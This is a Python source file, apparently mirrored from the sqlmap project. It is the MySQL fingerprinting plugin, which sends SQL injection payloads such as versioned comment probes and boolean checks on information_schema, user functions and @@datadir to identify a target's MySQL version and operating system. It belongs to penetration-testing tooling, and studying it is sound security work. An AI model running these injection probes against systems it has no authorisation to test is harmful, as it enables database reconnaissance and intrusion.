mirror of
https://github.com/sqlmapproject/sqlmap.git
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282 lines
10 KiB
Python
282 lines
10 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import getUnicode
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from lib.core.common import randomInt
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.enums import DBMS
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from lib.core.enums import PLACE
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from lib.core.session import setDbms
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from lib.core.settings import MYSQL_ALIASES
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from lib.core.settings import UNKNOWN_DBMS_VERSION
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
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class Fingerprint(GenericFingerprint):
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def __init__(self):
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GenericFingerprint.__init__(self)
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def __commentCheck(self):
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infoMsg = "executing MySQL comment injection fingerprint"
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logger.info(infoMsg)
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query = agent.prefixQuery("/* NoValue */")
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "unable to perform MySQL comment injection"
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logger.warn(warnMsg)
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return None
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# MySQL valid versions updated on 01/2010
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versions = (
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(32200, 32234), # MySQL 3.22
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(32300, 32360), # MySQL 3.23
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(40000, 40032), # MySQL 4.0
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(40100, 40123), # MySQL 4.1
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(50000, 50090), # MySQL 5.0
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(50100, 50142), # MySQL 5.1
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(50400, 50405), # MySQL 5.4
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(50500, 50502), # MySQL 5.5
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(60000, 60011), # MySQL 6.0
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)
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for element in versions:
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prevVer = None
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for version in range(element[0], element[1] + 1):
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randInt = randomInt()
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version = getUnicode(version)
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query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if result:
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if not prevVer:
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prevVer = version
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if version[0] == "3":
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midVer = prevVer[1:3]
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else:
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midVer = prevVer[2]
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trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
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return trueVer
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prevVer = version
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return None
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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actVer = formatDBMSfp()
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if not conf.extensiveFp:
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value += actVer
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return value
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comVer = self.__commentCheck()
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if comVer:
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comVer = formatDBMSfp([comVer])
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value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
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if kb.bannerFp:
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banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
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if re.search("-log$", kb.data.banner):
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banVer += ", logging enabled"
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def checkDbms(self):
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"""
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References for fingerprint:
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* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
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* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
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* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
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* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
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* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
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"""
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if ((kb.dbms is not None and kb.dbms.lower() in MYSQL_ALIASES) \
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or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \
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kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION:
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kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "")
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kb.dbmsVersion[0] = kb.dbmsVersion[0].replace("=", "")
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kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(" ", "")
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setDbms("%s %s" % (DBMS.MYSQL, kb.dbmsVersion[0]))
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if str(kb.dbmsVersion[0]) >= '5':
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kb.data.has_information_schema = True
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self.getBanner()
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if not conf.extensiveFp:
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return True
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infoMsg = "testing MySQL"
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logger.info(infoMsg)
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randInt = getUnicode(randomInt(1))
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result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()")
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if result:
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infoMsg = "confirming MySQL"
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logger.info(infoMsg)
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result = inject.checkBooleanExpression("ISNULL(1 DIV 0)")
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if not result:
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warnMsg = "the back-end DBMS is not MySQL"
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logger.warn(warnMsg)
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return False
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# Determine if it is MySQL >= 5.0.0
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#if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.TABLES LIMIT 0, 1)" % (randInt, randInt)):
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if inject.checkBooleanExpression("EXISTS(SELECT %s FROM information_schema.TABLES)" % randInt):
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kb.data.has_information_schema = True
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kb.dbmsVersion = [">= 5.0.0"]
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setDbms("%s 5" % DBMS.MYSQL)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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# Check if it is MySQL >= 5.5.0
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if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
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kb.dbmsVersion = [">= 5.5.0"]
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# Check if it is MySQL >= 5.1.2 and < 5.5.0
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elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):
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if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)):
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kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
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elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)):
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kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
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elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)):
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kb.dbmsVersion = ["= 5.1.6"]
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elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)):
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kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
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else:
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kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
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# Check if it is MySQL >= 5.0.0 and < 5.1.2
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elif inject.checkBooleanExpression("@@hostname=@@hostname"):
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kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
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elif inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL)" % (randInt, randInt)):
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kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
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elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
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kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
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else:
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kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
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# For cases when information_schema is missing
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elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
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kb.dbmsVersion = [">= 5.0.2"]
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setDbms("%s 5" % DBMS.MYSQL)
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self.getBanner()
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# Otherwise assume it is MySQL < 5.0.0
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else:
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kb.dbmsVersion = ["< 5.0.0"]
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setDbms("%s 4" % DBMS.MYSQL)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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# Check which version of MySQL < 5.0.0 it is
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if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"):
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kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
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elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"):
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kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
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elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"):
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kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
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if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
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kb.dbmsVersion = ["= 4.1.0"]
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else:
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kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
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elif inject.checkBooleanExpression("0=(SELECT FOUND_ROWS())"):
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kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
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elif inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()"):
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kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
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elif inject.checkBooleanExpression("USER()=USER()"):
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kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
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else:
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kb.dbmsVersion = ["< 3.22.11"]
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return True
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else:
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warnMsg = "the back-end DBMS is not MySQL"
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logger.warn(warnMsg)
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return False
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def checkDbmsOs(self, detailed=False):
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if kb.os:
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return
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infoMsg = "fingerprinting the back-end DBMS operating system"
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logger.info(infoMsg)
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if inject.checkBooleanExpression("'/'=(SELECT MID(@@datadir, 1, 1))"):
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kb.os = "Linux"
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else:
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kb.os = "Windows"
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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logger.info(infoMsg)
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self.cleanup(onlyFileTbl=True)
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